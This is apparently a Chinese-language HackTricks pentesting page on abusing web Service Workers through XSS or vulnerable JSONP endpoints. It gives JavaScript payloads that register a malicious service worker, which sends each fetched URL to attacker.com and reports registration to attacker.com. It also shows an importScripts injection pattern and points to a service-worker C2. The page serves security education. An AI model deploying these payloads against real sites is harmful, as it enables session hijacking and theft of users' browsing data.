hacktricks/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md

134 lines
8.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 滥用Service Workers
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便您可以更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## 基本信息
Service Worker是一个**脚本**,您的浏览器在**后台运行**,与网页分开,为不需要网页或用户交互的功能打开了大门。([更多关于什么是Service Worker的信息](https://developers.google.com/web/fundamentals/primers/service-workers))。\
然后,您可以通过在**易受攻击的**Web**域**中的**受害者会话**内**创建/修改Service Workers**来滥用Service Workers从而授予攻击者对受害者将在该域中加载的**所有页面**的控制权。
### 检查现有的SWs
您可以在**开发者工具**的**应用程序**选项卡的**Service Workers**字段中查看它们。您还可以查看[chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals)。
### 推送通知
如果受害者没有授予**推送通知权限**则Service Worker将**无法从服务器接收通信,除非用户再次访问攻击者页面**。这将**防止**例如与访问攻击者网页的所有页面保持对话因此如果找到了漏洞Service Worker可以接收并执行它。\
然而,如果受害者**授予推送通知权限,这可能存在风险**。
## 攻击创建Service Worker
为了利用这个漏洞,您需要找到:
* 一种**上传任意JS文件**到服务器并**加载服务工作者的XSS**的方法
* 一个**易受攻击的JSONP请求**,您可以**操纵输出使用任意JS代码**和一个**XSS**来**加载带有恶意Service Worker的JSONP**。
在下面的示例中,我将介绍一段代码,用于**注册一个新的Service Worker**该Service Worker将侦听`fetch`事件,并将**每个获取的URL发送到攻击者的服务器**(这是您需要**上传**到**服务器**或通过**易受攻击的JSONP**响应加载的代码):
```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```
以下是将**注册服务工作者**的代码(您应该能够通过滥用**XSS**来执行的代码)。在这种情况下,将向**攻击者**的服务器发送一个**GET**请求,通知服务工作者的**注册**是否成功:
```javascript
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>
```
在滥用易受攻击的JSONP端点的情况下您应该将值放在`var sw`内。例如:
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
有一个专门用于利用Service Workers的C2名为[Shadow Workers](https://shadow-workers.github.io),这将非常有用来滥用这些漏洞。
在XSS情况下24小时缓存指令限制确保恶意或被入侵的SW将在XSS漏洞修复之前最多存活24小时假设客户端在线。网站运营者可以通过设置较低的SW脚本TTL来缩小漏洞窗口。我们还鼓励开发人员[构建一个断开连接的SW](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776)。
## 通过DOM Clobbering滥用SW中的`importScripts`
从Service Worker中调用的函数**`importScripts`**可以从不同的域导入脚本。如果使用**攻击者可以修改的参数**调用此函数他将能够从自己的域导入JS脚本并获取XSS。
**这甚至可以绕过CSP保护。**
**漏洞代码示例:**
* **index.html**
```html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
```
* **sw.js**
```javascript
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
```
### 使用DOM Clobbering
有关DOM Clobbering的更多信息请查看
{% content-ref url="dom-clobbering.md" %}
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
如果SW用于调用**`importScripts`**的URL/域名**位于HTML元素内**则可以通过DOM Clobbering进行修改使SW从您自己的域加载脚本。
有关此示例,请查看参考链接。
## 参考资料
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
查找最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
</details>